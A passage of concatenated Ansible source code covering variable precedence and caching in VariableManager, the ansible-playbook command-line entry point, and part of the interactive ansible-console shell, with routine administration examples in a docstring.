from ansible.plugins import lookup_loader
from ansible.plugins.cache import FactCache
from ansible.template import Templar
from ansible.utils.listify import listify_lookup_plugin_terms
from ansible.utils.vars import combine_vars
from ansible.vars.unsafe_proxy import wrap_var

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()

VARIABLE_CACHE = dict()
HOSTVARS_CACHE = dict()

class AnsibleInventoryVarsData(dict):
    def __init__(self, *args, **kwargs):
        super(AnsibleInventoryVarsData, self).__init__(*args, **kwargs)
        self.path = None

def preprocess_vars(a):
    '''
    Ensures that vars contained in the parameter passed in are
    returned as a list of dictionaries, to ensure for instance
    that vars loaded from a file conform to an expected state.
    '''

    if a is None:
        return None
    elif not isinstance(a, list):
        data = [ a ]
    else:
        data = a

    for item in data:
        if not isinstance(item, MutableMapping):
            raise AnsibleError("variable files must contain either a dictionary of variables, or a list of dictionaries. Got: %s (%s)" % (a, type(a)))

    return data

def strip_internal_keys(dirty):
    '''
    All keys stating with _ansible_ are internal, so create a copy of the 'dirty' dict
    and remove them from the clean one before returning it
    '''
    clean = dirty.copy()
    for k in dirty.keys():
        if isinstance(k, string_types) and k.startswith('_ansible_'):
            del clean[k]
        elif isinstance(dirty[k], dict):
            clean[k] = strip_internal_keys(dirty[k])
    return clean

class VariableManager:

    def __init__(self):

        self._fact_cache = FactCache()
        self._nonpersistent_fact_cache = defaultdict(dict)
        self._vars_cache = defaultdict(dict)
        self._extra_vars = defaultdict(dict)
        self._host_vars_files = defaultdict(dict)
        self._group_vars_files = defaultdict(dict)
        self._inventory = None
        self._hostvars = None
        self._omit_token = '__omit_place_holder__%s' % sha1(os.urandom(64)).hexdigest()
        self._options_vars = defaultdict(dict)

    def __getstate__(self):
        data = dict(
            fact_cache = self._fact_cache,
            np_fact_cache = self._nonpersistent_fact_cache,
            vars_cache = self._vars_cache,
            extra_vars = self._extra_vars,
            host_vars_files = self._host_vars_files,
            group_vars_files = self._group_vars_files,
            omit_token = self._omit_token,
            options_vars = self._options_vars,
            #inventory = self._inventory,
        )
        return data

    def __setstate__(self, data):
        self._fact_cache = data.get('fact_cache', defaultdict(dict))
        self._nonpersistent_fact_cache = data.get('np_fact_cache', defaultdict(dict))
        self._vars_cache = data.get('vars_cache', defaultdict(dict))
        self._extra_vars = data.get('extra_vars', dict())
        self._host_vars_files = data.get('host_vars_files', defaultdict(dict))
        self._group_vars_files = data.get('group_vars_files', defaultdict(dict))
        self._omit_token = data.get('omit_token', '__omit_place_holder__%s' % sha1(os.urandom(64)).hexdigest())
        self._inventory = data.get('inventory', None)
        self._options_vars = data.get('options_vars', dict())

    def _get_cache_entry(self, play=None, host=None, task=None):
        play_id = "NONE"
        if play:
            play_id = play._uuid

        host_id = "NONE"
        if host:
            host_id = host.get_name()

        task_id = "NONE"
        if task:
            task_id = task._uuid

        return "PLAY:%s;HOST:%s;TASK:%s" % (play_id, host_id, task_id)

    @property
    def extra_vars(self):
        ''' ensures a clean copy of the extra_vars are made '''
        return self._extra_vars.copy()

    @extra_vars.setter
    def extra_vars(self, value):
        ''' ensures a clean copy of the extra_vars are used to set the value '''
        assert isinstance(value, MutableMapping)
        self._extra_vars = value.copy()

    def set_inventory(self, inventory):
        self._inventory = inventory

    @property
    def options_vars(self):
        ''' ensures a clean copy of the options_vars are made '''
        return self._options_vars.copy()

    @options_vars.setter
    def options_vars(self, value):
        ''' ensures a clean copy of the options_vars are used to set the value '''
        assert isinstance(value, dict)
        self._options_vars = value.copy()

    def _preprocess_vars(self, a):
        '''
        Ensures that vars contained in the parameter passed in are
        returned as a list of dictionaries, to ensure for instance
        that vars loaded from a file conform to an expected state.
        '''

        if a is None:
            return None
        elif not isinstance(a, list):
            data = [ a ]
        else:
            data = a

        for item in data:
            if not isinstance(item, MutableMapping):
                raise AnsibleError("variable files must contain either a dictionary of variables, or a list of dictionaries. Got: %s (%s)" % (a, type(a)))

        return data

    def get_vars(self, loader, play=None, host=None, task=None, include_hostvars=True, include_delegate_to=True, use_cache=True):
        '''
        Returns the variables, with optional "context" given via the parameters
        for the play, host, and task (which could possibly result in different
        sets of variables being returned due to the additional context).

        The order of precedence is:
        - play->roles->get_default_vars (if there is a play context)
        - group_vars_files[host] (if there is a host context)
        - host_vars_files[host] (if there is a host context)
        - host->get_vars (if there is a host context)
        - fact_cache[host] (if there is a host context)
        - play vars (if there is a play context)
        - play vars_files (if there's no host context, ignore
          file names that cannot be templated)
        - task->get_vars (if there is a task context)
        - vars_cache[host] (if there is a host context)
        - extra vars
        '''

        display.debug("in VariableManager get_vars()")
        cache_entry = self._get_cache_entry(play=play, host=host, task=task)
        if cache_entry in VARIABLE_CACHE and use_cache:
            display.debug("vars are cached, returning them now")
            return VARIABLE_CACHE[cache_entry]

        all_vars = dict()
        magic_variables = self._get_magic_variables(
            loader=loader,
            play=play,
            host=host,
            task=task,
            include_hostvars=include_hostvars,
            include_delegate_to=include_delegate_to,
        )

        if play:
            # first we compile any vars specified in defaults/main.yml
            # for all roles within the specified play
            for role in play.get_roles():
                all_vars = combine_vars(all_vars, role.get_default_vars())

            # if we have a task in this context, and that task has a role, make
            # sure it sees its defaults above any other roles, as we previously
            # (v1) made sure each task had a copy of its roles default vars
            if task and task._role is not None:
                all_vars = combine_vars(all_vars, task._role.get_default_vars(dep_chain=task.get_dep_chain()))

        if host:
            # next, if a host is specified, we load any vars from group_vars
            # files and then any vars from host_vars files which may apply to
            # this host or the groups it belongs to

            # we merge in the special 'all' group_vars first, if they exist
            if 'all' in self._group_vars_files:
                data = preprocess_vars(self._group_vars_files['all'])
                for item in data:
                    all_vars = combine_vars(all_vars, item)

            # we merge in vars from groups specified in the inventory (INI or script)
            all_vars = combine_vars(all_vars, host.get_group_vars())

            for group in sorted(host.get_groups(), key=lambda g: g.depth):
                if group.name in self._group_vars_files and group.name != 'all':
                    for data in self._group_vars_files[group.name]:
                        data = preprocess_vars(data)
                        for item in data:
                            all_vars = combine_vars(all_vars, item)

            # then we merge in vars from the host specified in the inventory (INI or script)
            all_vars = combine_vars(all_vars, host.get_vars())

            # then we merge in the host_vars/<hostname> file, if it exists
            host_name = host.get_name()
            if host_name in self._host_vars_files:
                for data in self._host_vars_files[host_name]:
                    data = preprocess_vars(data)
                    for item in data:
                        all_vars = combine_vars(all_vars, item)

            # finally, the facts caches for this host, if it exists
            try:
                host_facts = wrap_var(self._fact_cache.get(host.name, dict()))
                all_vars = combine_vars(all_vars, host_facts)
            except KeyError:
                pass

        if play:
            all_vars = combine_vars(all_vars, play.get_vars())

            for vars_file_item in play.get_vars_files():
                # create a set of temporary vars here, which incorporate the extra
                # and magic vars so we can properly template the vars_files entries
                temp_vars = combine_vars(all_vars, self._extra_vars)
                temp_vars = combine_vars(temp_vars, magic_variables)
                templar = Templar(loader=loader, variables=temp_vars)

                # we assume each item in the list is itself a list, as we
                # support "conditional includes" for vars_files, which mimics
                # the with_first_found mechanism.
                vars_file_list = vars_file_item
                if not isinstance(vars_file_list, list):
                     vars_file_list = [ vars_file_list ]

                # now we iterate through the (potential) files, and break out
                # as soon as we read one from the list. If none are found, we
                # raise an error, which is silently ignored at this point.
                try:
                    for vars_file in vars_file_list:
                        vars_file = templar.template(vars_file)
                        try:
                            data = preprocess_vars(loader.load_from_file(vars_file))
                            if data is not None:
                                for item in data:
                                    all_vars = combine_vars(all_vars, item)
                            break
                        except AnsibleFileNotFound as e:
                            # we continue on loader failures
                            continue
                        except AnsibleParserError as e:
                            raise
                    else:
                        raise AnsibleFileNotFound("vars file %s was not found" % vars_file_item)
                except (UndefinedError, AnsibleUndefinedVariable):
                    if host is not None and self._fact_cache.get(host.name, dict()).get('module_setup') and task is not None:
                        raise AnsibleUndefinedVariable("an undefined variable was found when attempting to template the vars_files item '%s'" % vars_file_item, obj=vars_file_item)
                    else:
                        # we do not have a full context here, and the missing variable could be
                        # because of that, so just show a warning and continue
                        display.vvv("skipping vars_file '%s' due to an undefined variable" % vars_file_item)
                        continue

            # By default, we now merge in all vars from all roles in the play,
            # unless the user has disabled this via a config option
            if not C.DEFAULT_PRIVATE_ROLE_VARS:
                for role in play.get_roles():
                    all_vars = combine_vars(all_vars, role.get_vars(include_params=False))

        # next, we merge in the vars from the role, which will specifically
        # follow the role dependency chain, and then we merge in the tasks
        # vars (which will look at parent blocks/task includes)
        if task:
            if task._role:
                all_vars = combine_vars(all_vars, task._role.get_vars(task.get_dep_chain(), include_params=False))
            all_vars = combine_vars(all_vars, task.get_vars())

        # next, we merge in the vars cache (include vars) and nonpersistent
        # facts cache (set_fact/register), in that order
        if host:
            all_vars = combine_vars(all_vars, self._vars_cache.get(host.get_name(), dict()))
            all_vars = combine_vars(all_vars, self._nonpersistent_fact_cache.get(host.name, dict()))

        # next, we merge in role params and task include params
        if task:
            if task._role:
                all_vars = combine_vars(all_vars, task._role.get_role_params(task.get_dep_chain()))

            # special case for include tasks, where the include params
            # may be specified in the vars field for the task, which should
            # have higher precedence than the vars/np facts above
            all_vars = combine_vars(all_vars, task.get_include_params())

        # finally, we merge in extra vars and the magic variables
        all_vars = combine_vars(all_vars, self._extra_vars)
        all_vars = combine_vars(all_vars, magic_variables)

        # special case for the 'environment' magic variable, as someone
        # may have set it as a variable and we don't want to stomp on it
        if task:
            if  'environment' not in all_vars:
                all_vars['environment'] = task.environment
            else:
                display.warning("The variable 'environment' appears to be used already, which is also used internally for environment variables set on the task/block/play. You should use a different variable name to avoid conflicts with this internal variable")

        # if we have a task and we're delegating to another host, figure out the
        # variables for that host now so we don't have to rely on hostvars later
        if task and task.delegate_to is not None and include_delegate_to:
            all_vars['ansible_delegated_vars'] = self._get_delegated_vars(loader, play, task, all_vars)

        #VARIABLE_CACHE[cache_entry] = all_vars
        if task or play:
            all_vars['vars'] = all_vars.copy()

        display.debug("done with get_vars()")
        return all_vars

    def invalidate_hostvars_cache(self, play):
        hostvars_cache_entry = self._get_cache_entry(play=play)
        if hostvars_cache_entry in HOSTVARS_CACHE:
            del HOSTVARS_CACHE[hostvars_cache_entry]

    def _get_magic_variables(self, loader, play, host, task, include_hostvars, include_delegate_to):
        '''
        Returns a dictionary of so-called "magic" variables in Ansible,
        which are special variables we set internally for use.
        '''

        variables = dict()
        variables['playbook_dir'] = loader.get_basedir()

        if host:
            variables['group_names'] = sorted([group.name for group in host.get_groups() if group.name != 'all'])

            if self._inventory is not None:
                variables['groups']  = dict()
                for (group_name, group) in iteritems(self._inventory.groups):
                    variables['groups'][group_name] = [h.name for h in group.get_hosts()]
        if play:
            variables['role_names'] = [r._role_name for r in play.roles]

        if task:
            if task._role:
                variables['role_name'] = task._role.get_name()
                variables['role_path'] = task._role._role_path
                variables['role_uuid'] = text_type(task._role._uuid)

        if self._inventory is not None:
            variables['inventory_dir'] = self._inventory.basedir()
            variables['inventory_file'] = self._inventory.src()
            if play:
                # add the list of hosts in the play, as adjusted for limit/filters
                # DEPRECATED: play_hosts should be deprecated in favor of ansible_play_hosts,
                #             however this would take work in the templating engine, so for now
                #             we'll add both so we can give users something transitional to use
                host_list = [x.name for x in self._inventory.get_hosts()]
                variables['play_hosts'] = host_list
                variables['ansible_play_hosts'] = host_list

        # the 'omit' value alows params to be left out if the variable they are based on is undefined
        variables['omit'] = self._omit_token
        variables['ansible_version'] = CLI.version_info(gitinfo=False)
        # Set options vars
        for option, option_value in iteritems(self._options_vars):
            variables[option] = option_value

        if self._hostvars is not None and include_hostvars:
            variables['hostvars'] = self._hostvars

        return variables

    def _get_delegated_vars(self, loader, play, task, existing_variables):
        # we unfortunately need to template the delegate_to field here,
        # as we're fetching vars before post_validate has been called on
        # the task that has been passed in
        vars_copy = existing_variables.copy()
        templar = Templar(loader=loader, variables=vars_copy)

        items = []
        if task.loop is not None:
            if task.loop in lookup_loader:
                try:
                    #TODO: remove convert_bare true and deprecate this in with_
                    loop_terms = listify_lookup_plugin_terms(terms=task.loop_args, templar=templar, loader=loader, fail_on_undefined=True, convert_bare=True)
                    items = lookup_loader.get(task.loop, loader=loader, templar=templar).run(terms=loop_terms, variables=vars_copy)
                except AnsibleUndefinedVariable as e:
                    # This task will be skipped later due to this, so we just setup
                    # a dummy array for the later code so it doesn't fail
                    items = [None]
            else:
                raise AnsibleError("Unexpected failure in finding the lookup named '%s' in the available lookup plugins" % task.loop)
        else:
            items = [None]

        delegated_host_vars = dict()
        for item in items:
            # update the variables with the item value for templating, in case we need it
            if item is not None:
                vars_copy['item'] = item

            templar.set_available_variables(vars_copy)
            delegated_host_name = templar.template(task.delegate_to, fail_on_undefined=False)
            if delegated_host_name in delegated_host_vars:
                # no need to repeat ourselves, as the delegate_to value
                # does not appear to be tied to the loop item variable
                continue

            # a dictionary of variables to use if we have to create a new host below
            # we set the default port based on the default transport here, to make sure
            # we use the proper default for windows
            new_port = C.DEFAULT_REMOTE_PORT
            if C.DEFAULT_TRANSPORT == 'winrm':
                new_port = 5986

            new_delegated_host_vars = dict(
                ansible_host=delegated_host_name,
                ansible_port=new_port,
                ansible_user=C.DEFAULT_REMOTE_USER,
                ansible_connection=C.DEFAULT_TRANSPORT,
            )

            # now try to find the delegated-to host in inventory, or failing that,
            # create a new host on the fly so we can fetch variables for it
            delegated_host = None
            if self._inventory is not None:
                delegated_host = self._inventory.get_host(delegated_host_name)
                # try looking it up based on the address field, and finally
                # fall back to creating a host on the fly to use for the var lookup
                if delegated_host is None:
                    if delegated_host_name in C.LOCALHOST:
                        delegated_host = self._inventory.localhost
                    else:
                        for h in self._inventory.get_hosts(ignore_limits_and_restrictions=True):
                            # check if the address matches, or if both the delegated_to host
                            # and the current host are in the list of localhost aliases
                            if h.address == delegated_host_name:
                                delegated_host = h
                                break
                        else:
                            delegated_host = Host(name=delegated_host_name)
                            delegated_host.vars.update(new_delegated_host_vars)
            else:
                delegated_host = Host(name=delegated_host_name)
                delegated_host.vars.update(new_delegated_host_vars)

            # now we go fetch the vars for the delegated-to host and save them in our
            # master dictionary of variables to be used later in the TaskExecutor/PlayContext
            delegated_host_vars[delegated_host_name] = self.get_vars(
                loader=loader,
                play=play,
                host=delegated_host,
                task=task,
                include_delegate_to=False,
                include_hostvars=False,
            )

        return delegated_host_vars

    def _get_inventory_basename(self, path):
        '''
        Returns the basename minus the extension of the given path, so the
        bare filename can be matched against host/group names later
        '''

        (name, ext) = os.path.splitext(os.path.basename(path))
        if ext not in ('.yml', '.yaml'):
            return os.path.basename(path)
        else:
            return name

    def _load_inventory_file(self, path, loader):
        '''
        helper function, which loads the file and gets the
        basename of the file without the extension
        '''

        if loader.is_directory(path):
            data = dict()

            try:
                names = loader.list_directory(path)
            except os.error as err:
                raise AnsibleError("This folder cannot be listed: %s: %s." % (path, err.strerror))

            # evaluate files in a stable order rather than whatever
            # order the filesystem lists them.
            names.sort()

            # do not parse hidden files or dirs, e.g. .svn/
            paths = [os.path.join(path, name) for name in names if not name.startswith('.')]
            for p in paths:
                results = self._load_inventory_file(path=p, loader=loader)
                if results is not None:
                    data = combine_vars(data, results)

        else:
            file_name, ext = os.path.splitext(path)
            data = None
            if not ext or ext not in C.YAML_FILENAME_EXTENSIONS:
                for test_ext in C.YAML_FILENAME_EXTENSIONS:
                    new_path = path + test_ext
                    if loader.path_exists(new_path):
                        data = loader.load_from_file(new_path)
                        break
            else:
                if loader.path_exists(path):
                    data = loader.load_from_file(path)

        rval = AnsibleInventoryVarsData()
        rval.path = path
        if data is not None:
            rval.update(data)
        return rval

    def add_host_vars_file(self, path, loader):
        '''
        Loads and caches a host_vars file in the _host_vars_files dict,
        where the key to that dictionary is the basename of the file, minus
        the extension, for matching against a given inventory host name
        '''

        name = self._get_inventory_basename(path)
        if name not in self._host_vars_files:
            self._host_vars_files[name] = []

        for entry in self._host_vars_files[name]:
            if entry.path == path:
                data = entry
                break
        else:
            data = self._load_inventory_file(path, loader)
            if data:
                self._host_vars_files[name].append(data)

        return data


    def add_group_vars_file(self, path, loader):
        '''
        Loads and caches a host_vars file in the _host_vars_files dict,
        where the key to that dictionary is the basename of the file, minus
        the extension, for matching against a given inventory host name
        '''

        name = self._get_inventory_basename(path)
        if name not in self._group_vars_files:
            self._group_vars_files[name] = []

        for entry in self._group_vars_files[name]:
            if entry.path == path:
                data = entry
                break
        else:
            data = self._load_inventory_file(path, loader)
            if data:
                self._group_vars_files[name].append(data)

        return data

    def clear_playbook_hostgroup_vars_files(self, path):
        for f in self._host_vars_files.keys():
            keepers = []
            for entry in self._host_vars_files[f]:
                if os.path.dirname(entry.path) != os.path.join(path, 'host_vars'):
                    keepers.append(entry)
            self._host_vars_files[f] = keepers
        for f in self._group_vars_files.keys():
            keepers = []
            for entry in self._group_vars_files[f]:
                if os.path.dirname(entry.path) != os.path.join(path, 'group_vars'):
                    keepers.append(entry)
            self._group_vars_files[f] = keepers

    def clear_facts(self, hostname):
        '''
        Clears the facts for a host
        '''
        if hostname in self._fact_cache:
            del self._fact_cache[hostname]

    def set_host_facts(self, host, facts):
        '''
        Sets or updates the given facts for a host in the fact cache.
        '''

        assert isinstance(facts, dict)

        if host.name not in self._fact_cache:
            self._fact_cache[host.name] = facts
        else:
            try:
                self._fact_cache.update(host.name, facts)
            except KeyError:
                self._fact_cache[host.name] = facts

    def set_nonpersistent_facts(self, host, facts):
        '''
        Sets or updates the given facts for a host in the fact cache.
        '''

        assert isinstance(facts, dict)

        if host.name not in self._nonpersistent_fact_cache:
            self._nonpersistent_fact_cache[host.name] = facts
        else:
            try:
                self._nonpersistent_fact_cache[host.name].update(facts)
            except KeyError:
                self._nonpersistent_fact_cache[host.name] = facts

    def set_host_variable(self, host, varname, value):
        '''
        Sets a value in the vars_cache for a host.
        '''
        host_name = host.get_name()
        if host_name not in self._vars_cache:
            self._vars_cache[host_name] = dict()
        if varname in self._vars_cache[host_name] and isinstance(self._vars_cache[host_name][varname], MutableMapping) and isinstance(value, MutableMapping):
            self._vars_cache[host_name][varname] = combine_vars(self._vars_cache[host_name][varname], value)
        else:
            self._vars_cache[host_name][varname] = value






#!/usr/bin/env python

# (c) 2012, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

########################################################

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os
import stat

from ansible.cli import CLI
from ansible.errors import AnsibleError, AnsibleOptionsError
from ansible.executor.playbook_executor import PlaybookExecutor
from ansible.inventory import Inventory
from ansible.parsing.dataloader import DataLoader
from ansible.playbook.block import Block
from ansible.playbook.play_context import PlayContext
from ansible.utils.vars import load_extra_vars
from ansible.utils.vars import load_options_vars
from ansible.vars import VariableManager

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()


#---------------------------------------------------------------------------------------------------

class PlaybookCLI(CLI):
    ''' code behind ansible playbook cli'''

    def parse(self):

        # create parser for CLI options
        parser = CLI.base_parser(
            usage = "%prog playbook.yml",
            connect_opts=True,
            meta_opts=True,
            runas_opts=True,
            subset_opts=True,
            check_opts=True,
            inventory_opts=True,
            runtask_opts=True,
            vault_opts=True,
            fork_opts=True,
            module_opts=True,
        )

        # ansible playbook specific opts
        parser.add_option('--list-tasks', dest='listtasks', action='store_true',
            help="list all tasks that would be executed")
        parser.add_option('--list-tags', dest='listtags', action='store_true',
            help="list all available tags")
        parser.add_option('--step', dest='step', action='store_true',
            help="one-step-at-a-time: confirm each task before running")
        parser.add_option('--start-at-task', dest='start_at_task',
            help="start the playbook at the task matching this name")

        self.options, self.args = parser.parse_args(self.args[1:])


        self.parser = parser

        if len(self.args) == 0:
            raise AnsibleOptionsError("You must specify a playbook file to run")

        display.verbosity = self.options.verbosity
        self.validate_conflicts(runas_opts=True, vault_opts=True, fork_opts=True)

    def run(self):

        super(PlaybookCLI, self).run()

        # Note: slightly wrong, this is written so that implicit localhost
        # Manage passwords
        sshpass    = None
        becomepass    = None
        vault_pass = None
        passwords = {}

        # don't deal with privilege escalation or passwords when we don't need to
        if not self.options.listhosts and not self.options.listtasks and not self.options.listtags and not self.options.syntax:
            self.normalize_become_options()
            (sshpass, becomepass) = self.ask_passwords()
            passwords = { 'conn_pass': sshpass, 'become_pass': becomepass }

        loader = DataLoader()

        if self.options.vault_password_file:
            # read vault_pass from a file
            vault_pass = CLI.read_vault_password_file(self.options.vault_password_file, loader=loader)
            loader.set_vault_password(vault_pass)
        elif self.options.ask_vault_pass:
            vault_pass = self.ask_vault_passwords()[0]
            loader.set_vault_password(vault_pass)

        # initial error check, to make sure all specified playbooks are accessible
        # before we start running anything through the playbook executor
        for playbook in self.args:
            if not os.path.exists(playbook):
                raise AnsibleError("the playbook: %s could not be found" % playbook)
            if not (os.path.isfile(playbook) or stat.S_ISFIFO(os.stat(playbook).st_mode)):
                raise AnsibleError("the playbook: %s does not appear to be a file" % playbook)

        # create the variable manager, which will be shared throughout
        # the code, ensuring a consistent view of global variables
        variable_manager = VariableManager()
        variable_manager.extra_vars = load_extra_vars(loader=loader, options=self.options)

        variable_manager.options_vars = load_options_vars(self.options)

        # create the inventory, and filter it based on the subset specified (if any)
        inventory = Inventory(loader=loader, variable_manager=variable_manager, host_list=self.options.inventory)
        variable_manager.set_inventory(inventory)

        # (which is not returned in list_hosts()) is taken into account for
        # warning if inventory is empty.  But it can't be taken into account for
        # checking if limit doesn't match any hosts.  Instead we don't worry about
        # limit if only implicit localhost was in inventory to start with.
        #
        # Fix this when we rewrite inventory by making localhost a real host (and thus show up in list_hosts())
        no_hosts = False
        if len(inventory.list_hosts()) == 0:
            # Empty inventory
            display.warning("provided hosts list is empty, only localhost is available")
            no_hosts = True
        inventory.subset(self.options.subset)
        if len(inventory.list_hosts()) == 0 and no_hosts is False:
            # Invalid limit
            raise AnsibleError("Specified --limit does not match any hosts")

        # create the playbook executor, which manages running the plays via a task queue manager
        pbex = PlaybookExecutor(playbooks=self.args, inventory=inventory, variable_manager=variable_manager, loader=loader, options=self.options, passwords=passwords)

        results = pbex.run()

        if isinstance(results, list):
            for p in results:

                display.display('\nplaybook: %s' % p['playbook'])
                for idx, play in enumerate(p['plays']):
                    msg = "\n  play #%d (%s): %s" % (idx + 1, ','.join(play.hosts), play.name)
                    mytags = set(play.tags)
                    msg += '\tTAGS: [%s]' % (','.join(mytags))

                    if self.options.listhosts:
                        playhosts = set(inventory.get_hosts(play.hosts))
                        msg += "\n    pattern: %s\n    hosts (%d):" % (play.hosts, len(playhosts))
                        for host in playhosts:
                            msg += "\n      %s" % host

                    display.display(msg)

                    all_tags = set()
                    if self.options.listtags or self.options.listtasks:
                        taskmsg = ''
                        if self.options.listtasks:
                            taskmsg = '    tasks:\n'

                        def _process_block(b):
                            taskmsg = ''
                            for task in b.block:
                                if isinstance(task, Block):
                                    taskmsg += _process_block(task)
                                else:
                                    if task.action == 'meta':
                                        continue

                                    all_tags.update(task.tags)
                                    if self.options.listtasks:
                                        cur_tags = list(mytags.union(set(task.tags)))
                                        cur_tags.sort()
                                        if task.name:
                                            taskmsg += "      %s" % task.get_name()
                                        else:
                                            taskmsg += "      %s" % task.action
                                        taskmsg += "\tTAGS: [%s]\n" % ', '.join(cur_tags)

                            return taskmsg

                        all_vars = variable_manager.get_vars(loader=loader, play=play)
                        play_context = PlayContext(play=play, options=self.options)
                        for block in play.compile():
                            block = block.filter_tagged_tasks(play_context, all_vars)
                            if not block.has_tasks():
                                continue
                            taskmsg += _process_block(block)

                        if self.options.listtags:
                            cur_tags = list(mytags.union(all_tags))
                            cur_tags.sort()
                            taskmsg += "      TASK TAGS: [%s]\n" % ', '.join(cur_tags)

                        display.display(taskmsg)

            return 0
        else:
            return results






# (c) 2014, Nandor Sivok <dominis@haxor.hu>
# (c) 2016, Redhat Inc
#
# ansible-console is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# ansible-console is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

########################################################
# ansible-console is an interactive REPL shell for ansible
# with built-in tab completion for all the documented modules
#
# Available commands:
#  cd - change host/group (you can use host patterns eg.: app*.dc*:!app01*)
#  list - list available hosts in the current path
#  forks - change fork
#  become - become
#  ! - forces shell module instead of the ansible module (!yum update -y)

import atexit
import cmd
import getpass
import readline
import os
import sys

from ansible import constants as C
from ansible.cli import CLI
from ansible.errors import AnsibleError

from ansible.executor.task_queue_manager import TaskQueueManager
from ansible.inventory import Inventory
from ansible.parsing.dataloader import DataLoader
from ansible.parsing.splitter import parse_kv
from ansible.playbook.play import Play
from ansible.vars import VariableManager
from ansible.utils import module_docs
from ansible.utils.color import stringc
from ansible.utils.unicode import to_unicode, to_str
from ansible.plugins import module_loader


try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()


class ConsoleCLI(CLI, cmd.Cmd):

    modules = []

    def __init__(self, args):

        super(ConsoleCLI, self).__init__(args)

        self.intro = 'Welcome to the ansible console.\nType help or ? to list commands.\n'

        self.groups = []
        self.hosts = []
        self.pattern = None
        self.variable_manager = None
        self.loader = None
        self.passwords = dict()

        self.modules = None
        cmd.Cmd.__init__(self)

    def parse(self):
        self.parser = CLI.base_parser(
            usage='%prog <host-pattern> [options]',
            runas_opts=True,
            inventory_opts=True,
            connect_opts=True,
            check_opts=True,
            vault_opts=True,
            fork_opts=True,
            module_opts=True,
        )

        # options unique to shell
        self.parser.add_option('--step', dest='step', action='store_true',
            help="one-step-at-a-time: confirm each task before running")

        self.parser.set_defaults(cwd='*')
        self.options, self.args = self.parser.parse_args(self.args[1:])

        display.verbosity = self.options.verbosity
        self.validate_conflicts(runas_opts=True, vault_opts=True, fork_opts=True)

        return True

    def get_names(self):
        return dir(self)

    def cmdloop(self):
        try:
            cmd.Cmd.cmdloop(self)
        except KeyboardInterrupt:
            self.do_exit(self)

    def set_prompt(self):
        login_user = self.options.remote_user or getpass.getuser()
        self.selected = self.inventory.list_hosts(self.options.cwd)
        prompt = "%s@%s (%d)[f:%s]" % (login_user, self.options.cwd, len(self.selected), self.options.forks)
        if self.options.become and self.options.become_user in [None, 'root']:
            prompt += "# "
            color = C.COLOR_ERROR
        else:
            prompt += "$ "
            color = C.COLOR_HIGHLIGHT
        self.prompt = stringc(prompt, color)

    def list_modules(self):
        modules = set()
        if self.options.module_path is not None:
            for i in self.options.module_path.split(os.pathsep):
                module_loader.add_directory(i)

        module_paths = module_loader._get_paths()
        for path in module_paths:
            if path is not None:
                modules.update(self._find_modules_in_path(path))
        return modules

    def _find_modules_in_path(self, path):

        if os.path.isdir(path):
            for module in os.listdir(path):
                if module.startswith('.'):
                    continue
                elif os.path.isdir(module):
                    self._find_modules_in_path(module)
                elif module.startswith('__'):
                    continue
                elif any(module.endswith(x) for x in C.BLACKLIST_EXTS):
                    continue
                elif module in C.IGNORE_FILES:
                    continue
                elif module.startswith('_'):
                    fullpath = '/'.join([path,module])
                    if os.path.islink(fullpath): # avoids aliases
                        continue
                    module = module.replace('_', '', 1)

                module = os.path.splitext(module)[0] # removes the extension
                yield module

    def default(self, arg, forceshell=False):
        """ actually runs modules """
        if arg.startswith("#"):
            return False

        if not self.options.cwd:
            display.error("No host found")
            return False

        if arg.split()[0] in self.modules:
            module = arg.split()[0]
            module_args = ' '.join(arg.split()[1:])
        else:
            module = 'shell'
            module_args = arg

        if forceshell is True:
            module = 'shell'
            module_args = arg

        self.options.module_name = module

        result = None
        try:
            check_raw = self.options.module_name in ('command', 'shell', 'script', 'raw')
            play_ds = dict(
                name = "Ansible Shell",
                hosts = self.options.cwd,
                gather_facts = 'no',
                tasks = [ dict(action=dict(module=module, args=parse_kv(module_args, check_raw=check_raw)))]
            )
            play = Play().load(play_ds, variable_manager=self.variable_manager, loader=self.loader)
        except Exception as e:
            display.error(u"Unable to build command: %s" % to_unicode(e))
            return False

        try:
            cb = 'minimal' #FIXME: make callbacks configurable
            # now create a task queue manager to execute the play
            self._tqm = None
            try:
                self._tqm = TaskQueueManager(
                        inventory=self.inventory,
                        variable_manager=self.variable_manager,
                        loader=self.loader,
                        options=self.options,
                        passwords=self.passwords,
                        stdout_callback=cb,
                        run_additional_callbacks=C.DEFAULT_LOAD_CALLBACK_PLUGINS,
                        run_tree=False,
                    )

                result = self._tqm.run(play)
            finally:
                if self._tqm:
                    self._tqm.cleanup()
                if self.loader:
                    self.loader.cleanup_all_tmp_files()

            if result is None:
                display.error("No hosts found")
                return False
        except KeyboardInterrupt:
            display.error('User interrupted execution')
            return False
        except Exception as e:
            display.error(to_unicode(e))
            #FIXME: add traceback in very very verbose mode
            return False

    def emptyline(self):
        return

    def do_shell(self, arg):
        """
        You can run shell commands through the shell module.

        eg.:
        shell ps uax | grep java | wc -l
        shell killall python
        shell halt -n

        You can use the ! to force the shell module. eg.:
        !ps aux | grep java | wc -l
        """
        self.default(arg, True)

    def do_forks(self, arg):
        """Set the number of forks"""
        if not arg:
            display.display('Usage: forks <number>')
            return
        self.options.forks = int(arg)
        self.set_prompt()

    do_serial = do_forks

    def do_verbosity(self, arg):
        """Set verbosity level"""
        if not arg:
            display.display('Usage: verbosity <number>')
        else:
